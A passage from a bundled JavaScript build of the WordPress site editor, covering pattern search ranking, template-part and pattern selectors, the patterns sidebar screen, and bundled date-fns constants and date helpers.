25355const removeMatchingTerms = (unmatchedTerms, unprocessedTerms) => {
25356 return unmatchedTerms.filter(
25357 (term) => !getNormalizedSearchTerms(unprocessedTerms).some(
25358 (unprocessedTerm) => unprocessedTerm.includes(term)
25359 )
25360 );
25361};
25362const searchItems = (items = [], searchInput = "", config = {}) => {
25363 const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);
25364 const onlyFilterByCategory = config.categoryId !== PATTERN_DEFAULT_CATEGORY && !normalizedSearchTerms.length;
25365 const searchRankConfig = { ...config, onlyFilterByCategory };
25366 const threshold = onlyFilterByCategory ? 0 : 1;
25367 const rankedItems = items.map((item) => {
25368 return [
25369 item,
25370 getItemSearchRank(item, searchInput, searchRankConfig)
25371 ];
25372 }).filter(([, rank]) => rank > threshold);
25373 if (normalizedSearchTerms.length === 0) {
25374 return rankedItems.map(([item]) => item);
25375 }
25376 rankedItems.sort(([, rank1], [, rank2]) => rank2 - rank1);
25377 return rankedItems.map(([item]) => item);
25378};
25379function getItemSearchRank(item, searchTerm, config) {
25380 const {
25381 categoryId,
25382 getName = defaultGetName,
25383 getTitle = defaultGetTitle,
25384 getDescription = defaultGetDescription,
25385 getKeywords = defaultGetKeywords,
25386 hasCategory = defaultHasCategory,
25387 onlyFilterByCategory
25388 } = config;
25389 let rank = categoryId === PATTERN_DEFAULT_CATEGORY || categoryId === TEMPLATE_PART_ALL_AREAS_CATEGORY || categoryId === PATTERN_USER_CATEGORY && item.type === PATTERN_TYPES.user || hasCategory(item, categoryId) ? 1 : 0;
25390 if (!rank || onlyFilterByCategory) {
25391 return rank;
25392 }
25393 const name = getName(item);
25394 const title = getTitle(item);
25395 const description = getDescription(item);
25396 const keywords = getKeywords(item);
25397 const normalizedSearchInput = normalizeString(searchTerm);
25398 const normalizedTitle = normalizeString(title);
25399 if (normalizedSearchInput === normalizedTitle) {
25400 rank += 30;
25401 } else if (normalizedTitle.startsWith(normalizedSearchInput)) {
25402 rank += 20;
25403 } else {
25404 const terms = [name, title, description, ...keywords].join(" ");
25405 const normalizedSearchTerms = extractWords(normalizedSearchInput);
25406 const unmatchedTerms = removeMatchingTerms(
25407 normalizedSearchTerms,
25408 terms
25409 );
25410 if (unmatchedTerms.length === 0) {
25411 rank += 10;
25412 }
25413 }
25414 return rank;
25415}
25416
25417
25418;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-patterns.js
25419
25420
25421
25422
25423
25424
25425
25426
25427
25428const EMPTY_PATTERN_LIST = [];
25429const selectTemplateParts = (0,external_wp_data_.createSelector)(
25430 (select, categoryId, search = "") => {
25431 const {
25432 getEntityRecords,
25433 getCurrentTheme,
25434 isResolving: isResolvingSelector
25435 } = select(external_wp_coreData_namespaceObject.store);
25436 const query = { per_page: -1 };
25437 const templateParts = getEntityRecords("postType", TEMPLATE_PART_POST_TYPE, query) ?? EMPTY_PATTERN_LIST;
25438 const knownAreas = getCurrentTheme()?.default_template_part_areas || [];
25439 const templatePartAreas = knownAreas.map((area) => area.area);
25440 const templatePartHasCategory = (item, category) => {
25441 if (category !== TEMPLATE_PART_AREA_DEFAULT_CATEGORY) {
25442 return item.area === category;
25443 }
25444 return item.area === category || !templatePartAreas.includes(item.area);
25445 };
25446 const isResolving = isResolvingSelector("getEntityRecords", [
25447 "postType",
25448 TEMPLATE_PART_POST_TYPE,
25449 query
25450 ]);
25451 const patterns = searchItems(templateParts, search, {
25452 categoryId,
25453 hasCategory: templatePartHasCategory
25454 });
25455 return { patterns, isResolving };
25456 },
25457 (select) => [
25458 select(external_wp_coreData_namespaceObject.store).getEntityRecords(
25459 "postType",
25460 TEMPLATE_PART_POST_TYPE,
25461 {
25462 per_page: -1
25463 }
25464 ),
25465 select(external_wp_coreData_namespaceObject.store).isResolving("getEntityRecords", [
25466 "postType",
25467 TEMPLATE_PART_POST_TYPE,
25468 { per_page: -1 }
25469 ]),
25470 select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas
25471 ]
25472);
25473const selectThemePatterns = (0,external_wp_data_.createSelector)(
25474 (select) => {
25475 const { getSettings } = unlock(select(store));
25476 const { isResolving: isResolvingSelector } = select(external_wp_coreData_namespaceObject.store);
25477 const settings = getSettings();
25478 const blockPatterns = settings.__experimentalAdditionalBlockPatterns ?? settings.__experimentalBlockPatterns;
25479 const restBlockPatterns = select(external_wp_coreData_namespaceObject.store).getBlockPatterns();
25480 const patterns = [
25481 ...blockPatterns || [],
25482 ...restBlockPatterns || []
25483 ].filter(
25484 (pattern) => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)
25485 ).filter(filterOutDuplicatesByName).filter((pattern) => pattern.inserter !== false).map((pattern) => ({
25486 ...pattern,
25487 keywords: pattern.keywords || [],
25488 type: PATTERN_TYPES.theme,
25489 blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
25490 __unstableSkipMigrationLogs: true
25491 })
25492 }));
25493 return {
25494 patterns,
25495 isResolving: isResolvingSelector("getBlockPatterns")
25496 };
25497 },
25498 (select) => [
25499 select(external_wp_coreData_namespaceObject.store).getBlockPatterns(),
25500 select(external_wp_coreData_namespaceObject.store).isResolving("getBlockPatterns"),
25501 unlock(select(store)).getSettings()
25502 ]
25503);
25504const selectPatterns = (0,external_wp_data_.createSelector)(
25505 (select, categoryId, syncStatus, search = "") => {
25506 const {
25507 patterns: themePatterns,
25508 isResolving: isResolvingThemePatterns
25509 } = selectThemePatterns(select);
25510 const {
25511 patterns: userPatterns,
25512 isResolving: isResolvingUserPatterns,
25513 categories: userPatternCategories
25514 } = selectUserPatterns(select);
25515 let patterns = [
25516 ...themePatterns || [],
25517 ...userPatterns || []
25518 ];
25519 if (syncStatus) {
25520 patterns = patterns.filter((pattern) => {
25521 return pattern.type === PATTERN_TYPES.user ? (pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full) === syncStatus : syncStatus === PATTERN_SYNC_TYPES.unsynced;
25522 });
25523 }
25524 if (categoryId) {
25525 patterns = searchItems(patterns, search, {
25526 categoryId,
25527 hasCategory: (item, currentCategory) => {
25528 if (item.type === PATTERN_TYPES.user) {
25529 return item.wp_pattern_category?.some(
25530 (catId) => userPatternCategories.find(
25531 (cat) => cat.id === catId
25532 )?.slug === currentCategory
25533 );
25534 }
25535 return item.categories?.includes(currentCategory);
25536 }
25537 });
25538 } else {
25539 patterns = searchItems(patterns, search, {
25540 hasCategory: (item) => {
25541 if (item.type === PATTERN_TYPES.user) {
25542 return userPatternCategories?.length && (!item.wp_pattern_category?.length || !item.wp_pattern_category?.some(
25543 (catId) => userPatternCategories.find(
25544 (cat) => cat.id === catId
25545 )
25546 ));
25547 }
25548 return !item.hasOwnProperty("categories");
25549 }
25550 });
25551 }
25552 return {
25553 patterns,
25554 isResolving: isResolvingThemePatterns || isResolvingUserPatterns
25555 };
25556 },
25557 (select) => [
25558 selectThemePatterns(select),
25559 selectUserPatterns(select)
25560 ]
25561);
25562const selectUserPatterns = (0,external_wp_data_.createSelector)(
25563 (select, syncStatus, search = "") => {
25564 const {
25565 getEntityRecords,
25566 isResolving: isResolvingSelector,
25567 getUserPatternCategories
25568 } = select(external_wp_coreData_namespaceObject.store);
25569 const query = { per_page: -1 };
25570 const patternPosts = getEntityRecords(
25571 "postType",
25572 PATTERN_TYPES.user,
25573 query
25574 );
25575 const userPatternCategories = getUserPatternCategories();
25576 const categories = /* @__PURE__ */ new Map();
25577 userPatternCategories.forEach(
25578 (userCategory) => categories.set(userCategory.id, userCategory)
25579 );
25580 let patterns = patternPosts ?? EMPTY_PATTERN_LIST;
25581 const isResolving = isResolvingSelector("getEntityRecords", [
25582 "postType",
25583 PATTERN_TYPES.user,
25584 query
25585 ]);
25586 if (syncStatus) {
25587 patterns = patterns.filter(
25588 (pattern) => pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full === syncStatus
25589 );
25590 }
25591 patterns = searchItems(patterns, search, {
25592 // We exit user pattern retrieval early if we aren't in the
25593 // catch-all category for user created patterns, so it has
25594 // to be in the category.
25595 hasCategory: () => true
25596 });
25597 return {
25598 patterns,
25599 isResolving,
25600 categories: userPatternCategories
25601 };
25602 },
25603 (select) => [
25604 select(external_wp_coreData_namespaceObject.store).getEntityRecords("postType", PATTERN_TYPES.user, {
25605 per_page: -1
25606 }),
25607 select(external_wp_coreData_namespaceObject.store).isResolving("getEntityRecords", [
25608 "postType",
25609 PATTERN_TYPES.user,
25610 { per_page: -1 }
25611 ]),
25612 select(external_wp_coreData_namespaceObject.store).getUserPatternCategories()
25613 ]
25614);
25615function useAugmentPatternsWithPermissions(patterns) {
25616 const idsAndTypes = (0,external_wp_element_.useMemo)(
25617 () => patterns?.filter((record) => record.type !== PATTERN_TYPES.theme).map((record) => [record.type, record.id]) ?? [],
25618 [patterns]
25619 );
25620 const permissions = (0,external_wp_data_.useSelect)(
25621 (select) => {
25622 const { getEntityRecordPermissions } = unlock(
25623 select(external_wp_coreData_namespaceObject.store)
25624 );
25625 return idsAndTypes.reduce((acc, [type, id]) => {
25626 acc[id] = getEntityRecordPermissions("postType", type, id);
25627 return acc;
25628 }, {});
25629 },
25630 [idsAndTypes]
25631 );
25632 return (0,external_wp_element_.useMemo)(
25633 () => patterns?.map((record) => ({
25634 ...record,
25635 permissions: permissions?.[record.id] ?? {}
25636 })) ?? [],
25637 [patterns, permissions]
25638 );
25639}
25640const usePatterns = (postType, categoryId, { search = "", syncStatus } = {}) => {
25641 return (0,external_wp_data_.useSelect)(
25642 (select) => {
25643 if (postType === TEMPLATE_PART_POST_TYPE) {
25644 return selectTemplateParts(select, categoryId, search);
25645 } else if (postType === PATTERN_TYPES.user && !!categoryId) {
25646 const appliedCategory = categoryId === "uncategorized" ? "" : categoryId;
25647 return selectPatterns(
25648 select,
25649 appliedCategory,
25650 syncStatus,
25651 search
25652 );
25653 } else if (postType === PATTERN_TYPES.user) {
25654 return selectUserPatterns(select, syncStatus, search);
25655 }
25656 return {
25657 patterns: EMPTY_PATTERN_LIST,
25658 isResolving: false
25659 };
25660 },
25661 [categoryId, postType, search, syncStatus]
25662 );
25663};
25664var use_patterns_default = usePatterns;
25665
25666
25667;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-pattern-categories.js
25668
25669
25670
25671
25672
25673
25674function usePatternCategories() {
25675 const defaultCategories = useDefaultPatternCategories();
25676 defaultCategories.push({
25677 name: TEMPLATE_PART_AREA_DEFAULT_CATEGORY,
25678 label: (0,external_wp_i18n_namespaceObject.__)("Uncategorized")
25679 });
25680 const themePatterns = useThemePatterns();
25681 const { patterns: userPatterns, categories: userPatternCategories } = use_patterns_default(PATTERN_TYPES.user);
25682 const patternCategories = (0,external_wp_element_.useMemo)(() => {
25683 const categoryMap = {};
25684 const categoriesWithCounts = [];
25685 defaultCategories.forEach((category) => {
25686 if (!categoryMap[category.name]) {
25687 categoryMap[category.name] = { ...category, count: 0 };
25688 }
25689 });
25690 userPatternCategories.forEach((category) => {
25691 if (!categoryMap[category.name]) {
25692 categoryMap[category.name] = { ...category, count: 0 };
25693 }
25694 });
25695 themePatterns.forEach((pattern) => {
25696 pattern.categories?.forEach((category) => {
25697 if (categoryMap[category]) {
25698 categoryMap[category].count += 1;
25699 }
25700 });
25701 if (!pattern.categories?.length) {
25702 categoryMap.uncategorized.count += 1;
25703 }
25704 });
25705 userPatterns.forEach((pattern) => {
25706 pattern.wp_pattern_category?.forEach((catId) => {
25707 const category = userPatternCategories.find(
25708 (cat) => cat.id === catId
25709 )?.name;
25710 if (categoryMap[category]) {
25711 categoryMap[category].count += 1;
25712 }
25713 });
25714 if (!pattern.wp_pattern_category?.length || !pattern.wp_pattern_category?.some(
25715 (catId) => userPatternCategories.find((cat) => cat.id === catId)
25716 )) {
25717 categoryMap.uncategorized.count += 1;
25718 }
25719 });
25720 [...defaultCategories, ...userPatternCategories].forEach(
25721 (category) => {
25722 if (categoryMap[category.name].count && !categoriesWithCounts.find(
25723 (cat) => cat.name === category.name
25724 )) {
25725 categoriesWithCounts.push(categoryMap[category.name]);
25726 }
25727 }
25728 );
25729 const sortedCategories = categoriesWithCounts.sort(
25730 (a, b) => a.label.localeCompare(b.label)
25731 );
25732 sortedCategories.unshift({
25733 name: PATTERN_USER_CATEGORY,
25734 label: (0,external_wp_i18n_namespaceObject.__)("My patterns"),
25735 count: userPatterns.length
25736 });
25737 sortedCategories.unshift({
25738 name: PATTERN_DEFAULT_CATEGORY,
25739 label: (0,external_wp_i18n_namespaceObject.__)("All patterns"),
25740 description: (0,external_wp_i18n_namespaceObject.__)("A list of all patterns from all sources."),
25741 count: themePatterns.length + userPatterns.length
25742 });
25743 return sortedCategories;
25744 }, [
25745 defaultCategories,
25746 themePatterns,
25747 userPatternCategories,
25748 userPatterns
25749 ]);
25750 return { patternCategories, hasPatterns: !!patternCategories.length };
25751}
25752
25753
25754;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-template-part-areas.js
25755
25756
25757
25758const useTemplatePartsGroupedByArea = (items) => {
25759 const allItems = items || [];
25760 const templatePartAreas = (0,external_wp_data_.useSelect)(
25761 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [],
25762 []
25763 );
25764 const knownAreas = {
25765 header: {},
25766 footer: {},
25767 sidebar: {},
25768 uncategorized: {}
25769 };
25770 templatePartAreas.forEach(
25771 (templatePartArea) => knownAreas[templatePartArea.area] = {
25772 ...templatePartArea,
25773 templateParts: []
25774 }
25775 );
25776 const groupedByArea = allItems.reduce((accumulator, item) => {
25777 const key = accumulator[item.area] ? item.area : TEMPLATE_PART_AREA_DEFAULT_CATEGORY;
25778 accumulator[key]?.templateParts?.push(item);
25779 return accumulator;
25780 }, knownAreas);
25781 return groupedByArea;
25782};
25783function useTemplatePartAreas() {
25784 const { records: templateParts, isResolving: isLoading } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
25785 "postType",
25786 TEMPLATE_PART_POST_TYPE,
25787 { per_page: -1 }
25788 );
25789 return {
25790 hasTemplateParts: templateParts ? !!templateParts.length : false,
25791 isLoading,
25792 templatePartAreas: useTemplatePartsGroupedByArea(templateParts)
25793 };
25794}
25795
25796
25797;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/index.js
25798
25799
25800
25801
25802
25803
25804
25805
25806
25807
25808
25809
25810const { useLocation: sidebar_navigation_screen_patterns_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
25811function CategoriesGroup({
25812 templatePartAreas,
25813 patternCategories,
25814 currentCategory,
25815 currentType
25816}) {
25817 const [allPatterns, ...otherPatterns] = patternCategories;
25818 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-patterns__group", children: [
25819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25820 CategoryItem,
25821 {
25822 count: Object.values(templatePartAreas).map(({ templateParts }) => templateParts?.length || 0).reduce((acc, val) => acc + val, 0),
25823 icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)(),
25824 label: (0,external_wp_i18n_namespaceObject.__)("All template parts"),
25825 id: TEMPLATE_PART_ALL_AREAS_CATEGORY,
25826 type: TEMPLATE_PART_POST_TYPE,
25827 isActive: currentCategory === TEMPLATE_PART_ALL_AREAS_CATEGORY && currentType === TEMPLATE_PART_POST_TYPE
25828 },
25829 "all"
25830 ),
25831 Object.entries(templatePartAreas).map(
25832 ([area, { label, templateParts }]) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25833 CategoryItem,
25834 {
25835 count: templateParts?.length,
25836 icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)(area),
25837 label,
25838 id: area,
25839 type: TEMPLATE_PART_POST_TYPE,
25840 isActive: currentCategory === area && currentType === TEMPLATE_PART_POST_TYPE
25841 },
25842 area
25843 )
25844 ),
25845 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar-navigation-screen-patterns__divider" }),
25846 allPatterns && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25847 CategoryItem,
25848 {
25849 count: allPatterns.count,
25850 label: allPatterns.label,
25851 icon: file_default,
25852 id: allPatterns.name,
25853 type: PATTERN_TYPES.user,
25854 isActive: currentCategory === `${allPatterns.name}` && currentType === PATTERN_TYPES.user
25855 },
25856 allPatterns.name
25857 ),
25858 otherPatterns.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25859 CategoryItem,
25860 {
25861 count: category.count,
25862 label: category.label,
25863 icon: file_default,
25864 id: category.name,
25865 type: PATTERN_TYPES.user,
25866 isActive: currentCategory === `${category.name}` && currentType === PATTERN_TYPES.user
25867 },
25868 category.name
25869 ))
25870 ] });
25871}
25872function SidebarNavigationScreenPatterns({ backPath }) {
25873 const {
25874 query: { postType = "wp_block", categoryId }
25875 } = sidebar_navigation_screen_patterns_useLocation();
25876 const currentCategory = categoryId || (postType === PATTERN_TYPES.user ? PATTERN_DEFAULT_CATEGORY : TEMPLATE_PART_ALL_AREAS_CATEGORY);
25877 const { templatePartAreas, hasTemplateParts, isLoading } = useTemplatePartAreas();
25878 const { patternCategories, hasPatterns } = usePatternCategories();
25879 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25880 SidebarNavigationScreen,
25881 {
25882 title: (0,external_wp_i18n_namespaceObject.__)("Patterns"),
25883 description: (0,external_wp_i18n_namespaceObject.__)(
25884 "Manage what patterns are available when editing the site."
25885 ),
25886 isRoot: !backPath,
25887 backPath,
25888 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25889 isLoading && (0,external_wp_i18n_namespaceObject.__)("Loading items\u2026"),
25890 !isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25891 !hasTemplateParts && !hasPatterns && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-patterns__group", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, { children: (0,external_wp_i18n_namespaceObject.__)("No items found") }) }),
25892 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25893 CategoriesGroup,
25894 {
25895 templatePartAreas,
25896 patternCategories,
25897 currentCategory,
25898 currentType: postType
25899 }
25900 )
25901 ] })
25902 ] })
25903 }
25904 );
25905}
25906
25907
25908// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
25909var remove_accents = __webpack_require__(9681);
25910var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
25911;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/constants.js
25912/**
25913 * @module constants
25914 * @summary Useful constants
25915 * @description
25916 * Collection of useful date constants.
25917 *
25918 * The constants could be imported from `date-fns/constants`:
25919 *
25920 * ```ts
25921 * import { maxTime, minTime } from "./constants/date-fns/constants";
25922 *
25923 * function isAllowedTime(time) {
25924 * return time <= maxTime && time >= minTime;
25925 * }
25926 * ```
25927 */
25928
25929/**
25930 * @constant
25931 * @name daysInWeek
25932 * @summary Days in 1 week.
25933 */
25934const daysInWeek = 7;
25935
25936/**
25937 * @constant
25938 * @name daysInYear
25939 * @summary Days in 1 year.
25940 *
25941 * @description
25942 * How many days in a year.
25943 *
25944 * One years equals 365.2425 days according to the formula:
25945 *
25946 * > Leap year occurs every 4 years, except for years that are divisible by 100 and not divisible by 400.
25947 * > 1 mean year = (365+1/4-1/100+1/400) days = 365.2425 days
25948 */
25949const daysInYear = 365.2425;
25950
25951/**
25952 * @constant
25953 * @name maxTime
25954 * @summary Maximum allowed time.
25955 *
25956 * @example
25957 * import { maxTime } from "./constants/date-fns/constants";
25958 *
25959 * const isValid = 8640000000000001 <= maxTime;
25960 * //=> false
25961 *
25962 * new Date(8640000000000001);
25963 * //=> Invalid Date
25964 */
25965const maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1000;
25966
25967/**
25968 * @constant
25969 * @name minTime
25970 * @summary Minimum allowed time.
25971 *
25972 * @example
25973 * import { minTime } from "./constants/date-fns/constants";
25974 *
25975 * const isValid = -8640000000000001 >= minTime;
25976 * //=> false
25977 *
25978 * new Date(-8640000000000001)
25979 * //=> Invalid Date
25980 */
25981const minTime = -maxTime;
25982
25983/**
25984 * @constant
25985 * @name millisecondsInWeek
25986 * @summary Milliseconds in 1 week.
25987 */
25988const millisecondsInWeek = 604800000;
25989
25990/**
25991 * @constant
25992 * @name millisecondsInDay
25993 * @summary Milliseconds in 1 day.
25994 */
25995const millisecondsInDay = 86400000;
25996
25997/**
25998 * @constant
25999 * @name millisecondsInMinute
26000 * @summary Milliseconds in 1 minute
26001 */
26002const millisecondsInMinute = 60000;
26003
26004/**
26005 * @constant
26006 * @name millisecondsInHour
26007 * @summary Milliseconds in 1 hour
26008 */
26009const millisecondsInHour = 3600000;
26010
26011/**
26012 * @constant
26013 * @name millisecondsInSecond
26014 * @summary Milliseconds in 1 second
26015 */
26016const millisecondsInSecond = 1000;
26017
26018/**
26019 * @constant
26020 * @name minutesInYear
26021 * @summary Minutes in 1 year.
26022 */
26023const minutesInYear = 525600;
26024
26025/**
26026 * @constant
26027 * @name minutesInMonth
26028 * @summary Minutes in 1 month.
26029 */
26030const minutesInMonth = 43200;
26031
26032/**
26033 * @constant
26034 * @name minutesInDay
26035 * @summary Minutes in 1 day.
26036 */
26037const minutesInDay = 1440;
26038
26039/**
26040 * @constant
26041 * @name minutesInHour
26042 * @summary Minutes in 1 hour.
26043 */
26044const minutesInHour = 60;
26045
26046/**
26047 * @constant
26048 * @name monthsInQuarter
26049 * @summary Months in 1 quarter.
26050 */
26051const monthsInQuarter = 3;
26052
26053/**
26054 * @constant
26055 * @name monthsInYear
26056 * @summary Months in 1 year.
26057 */
26058const monthsInYear = 12;
26059
26060/**
26061 * @constant
26062 * @name quartersInYear
26063 * @summary Quarters in 1 year
26064 */
26065const quartersInYear = 4;
26066
26067/**
26068 * @constant
26069 * @name secondsInHour
26070 * @summary Seconds in 1 hour.
26071 */
26072const secondsInHour = 3600;
26073
26074/**
26075 * @constant
26076 * @name secondsInMinute
26077 * @summary Seconds in 1 minute.
26078 */
26079const secondsInMinute = 60;
26080
26081/**
26082 * @constant
26083 * @name secondsInDay
26084 * @summary Seconds in 1 day.
26085 */
26086const secondsInDay = secondsInHour * 24;
26087
26088/**
26089 * @constant
26090 * @name secondsInWeek
26091 * @summary Seconds in 1 week.
26092 */
26093const secondsInWeek = secondsInDay * 7;
26094
26095/**
26096 * @constant
26097 * @name secondsInYear
26098 * @summary Seconds in 1 year.
26099 */
26100const secondsInYear = secondsInDay * daysInYear;
26101
26102/**
26103 * @constant
26104 * @name secondsInMonth
26105 * @summary Seconds in 1 month
26106 */
26107const secondsInMonth = secondsInYear / 12;
26108
26109/**
26110 * @constant
26111 * @name secondsInQuarter
26112 * @summary Seconds in 1 quarter.
26113 */
26114const secondsInQuarter = secondsInMonth * 3;
26115
26116/**
26117 * @constant
26118 * @name constructFromSymbol
26119 * @summary Symbol enabling Date extensions to inherit properties from the reference date.
26120 *
26121 * The symbol is used to enable the `constructFrom` function to construct a date
26122 * using a reference date and a value. It allows to transfer extra properties
26123 * from the reference date to the new date. It's useful for extensions like
26124 * [`TZDate`](https://github.com/date-fns/tz) that accept a time zone as
26125 * a constructor argument.
26126 */
26127const constructFromSymbol = Symbol.for("constructDateFrom");
26128
26129;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/constructFrom.js
26130
26131
26132/**
26133 * @name constructFrom
26134 * @category Generic Helpers
26135 * @summary Constructs a date using the reference date and the value
26136 *
26137 * @description
26138 * The function constructs a new date using the constructor from the reference
26139 * date and the given value. It helps to build generic functions that accept
26140 * date extensions.
26141 *
26142 * It defaults to `Date` if the passed reference date is a number or a string.
26143 *
26144 * Starting from v3.7.0, it allows to construct a date using `[Symbol.for("constructDateFrom")]`
26145 * enabling to transfer extra properties from the reference date to the new date.
26146 * It's useful for extensions like [`TZDate`](https://github.com/date-fns/tz)
26147 * that accept a time zone as a constructor argument.
26148 *
26149 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26150 *
26151 * @param date - The reference date to take constructor from
26152 * @param value - The value to create the date
26153 *
26154 * @returns Date initialized using the given date and value
26155 *
26156 * @example
26157 * import { constructFrom } from "./constructFrom/date-fns";
26158 *
26159 * // A function that clones a date preserving the original type
26160 * function cloneDate<DateType extends Date>(date: DateType): DateType {
26161 * return constructFrom(
26162 * date, // Use constructor from the given date
26163 * date.getTime() // Use the date value to create a new date
26164 * );
26165 * }
26166 */
26167function constructFrom(date, value) {
26168 if (typeof date === "function") return date(value);
26169
26170 if (date && typeof date === "object" && constructFromSymbol in date)
26171 return date[constructFromSymbol](value);
26172
26173 if (date instanceof Date) return new date.constructor(value);
26174
26175 return new Date(value);
26176}
26177
26178// Fallback for modularized imports:
26179/* harmony default export */ const date_fns_constructFrom = ((/* unused pure expression or super */ null && (constructFrom)));
26180
26181;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/toDate.js
26182
26183
26184/**
26185 * @name toDate
26186 * @category Common Helpers
26187 * @summary Convert the given argument to an instance of Date.
26188 *
26189 * @description
26190 * Convert the given argument to an instance of Date.
26191 *
26192 * If the argument is an instance of Date, the function returns its clone.
26193 *
26194 * If the argument is a number, it is treated as a timestamp.
26195 *
26196 * If the argument is none of the above, the function returns Invalid Date.
26197 *
26198 * Starting from v3.7.0, it clones a date using `[Symbol.for("constructDateFrom")]`
26199 * enabling to transfer extra properties from the reference date to the new date.
26200 * It's useful for extensions like [`TZDate`](https://github.com/date-fns/tz)
26201 * that accept a time zone as a constructor argument.
26202 *
26203 * **Note**: *all* Date arguments passed to any *date-fns* function is processed by `toDate`.
26204 *
26205 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26206 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26207 *
26208 * @param argument - The value to convert
26209 *
26210 * @returns The parsed date in the local time zone
26211 *
26212 * @example
26213 * // Clone the date:
26214 * const result = toDate(new Date(2014, 1, 11, 11, 30, 30))
26215 * //=> Tue Feb 11 2014 11:30:30
26216 *
26217 * @example
26218 * // Convert the timestamp to date:
26219 * const result = toDate(1392098430000)
26220 * //=> Tue Feb 11 2014 11:30:30
26221 */
26222function toDate(argument, context) {
26223 // [TODO] Get rid of `toDate` or `constructFrom`?
26224 return constructFrom(context || argument, argument);
26225}
26226
26227// Fallback for modularized imports:
26228/* harmony default export */ const date_fns_toDate = ((/* unused pure expression or super */ null && (toDate)));
26229
26230;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/addDays.js
26231
26232
26233
26234/**
26235 * The {@link addDays} function options.
26236 */
26237
26238/**
26239 * @name addDays
26240 * @category Day Helpers
26241 * @summary Add the specified number of days to the given date.
26242 *
26243 * @description
26244 * Add the specified number of days to the given date.
26245 *
26246 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26247 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26248 *
26249 * @param date - The date to be changed
26250 * @param amount - The amount of days to be added.
26251 * @param options - An object with options
26252 *
26253 * @returns The new date with the days added
26254 *
26255 * @example
26256 * // Add 10 days to 1 September 2014:
26257 * const result = addDays(new Date(2014, 8, 1), 10)
26258 * //=> Thu Sep 11 2014 00:00:00
26259 */
26260function addDays(date, amount, options) {
26261 const _date = toDate(date, options?.in);
26262 if (isNaN(amount)) return constructFrom(options?.in || date, NaN);
26263
26264 // If 0 days, no-op to avoid changing times in the hour before end of DST
26265 if (!amount) return _date;
26266
26267 _date.setDate(_date.getDate() + amount);
26268 return _date;
26269}
26270
26271// Fallback for modularized imports:
26272/* harmony default export */ const date_fns_addDays = ((/* unused pure expression or super */ null && (addDays)));
26273
26274;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/subDays.js
26275
26276
26277/**
26278 * The {@link subDays} function options.
26279 */
26280
26281/**
26282 * @name subDays
26283 * @category Day Helpers
26284 * @summary Subtract the specified number of days from the given date.
26285 *
26286 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
26287 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed, or inferred from the arguments.
26288 *
26289 * @param date - The date to be changed
26290 * @param amount - The amount of days to be subtracted.
26291 * @param options - An object with options
26292 *
26293 * @returns The new date with the days subtracted
26294 *
26295 * @example
26296 * // Subtract 10 days from 1 September 2014:
26297 * const result = subDays(new Date(2014, 8, 1), 10)
26298 * //=> Fri Aug 22 2014 00:00:00
26299 */
26300function subDays(date, amount, options) {
26301 return addDays(date, -amount, options);
26302}
26303
26304// Fallback for modularized imports:
26305/* harmony default export */ const date_fns_subDays = ((/* unused pure expression or super */ null && (subDays)));
26306
26307;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/addWeeks.js
26308
26309
26310/**
26311 * The {@link addWeeks} function options.
26312 */
26313
26314/**
26315 * @name addWeeks
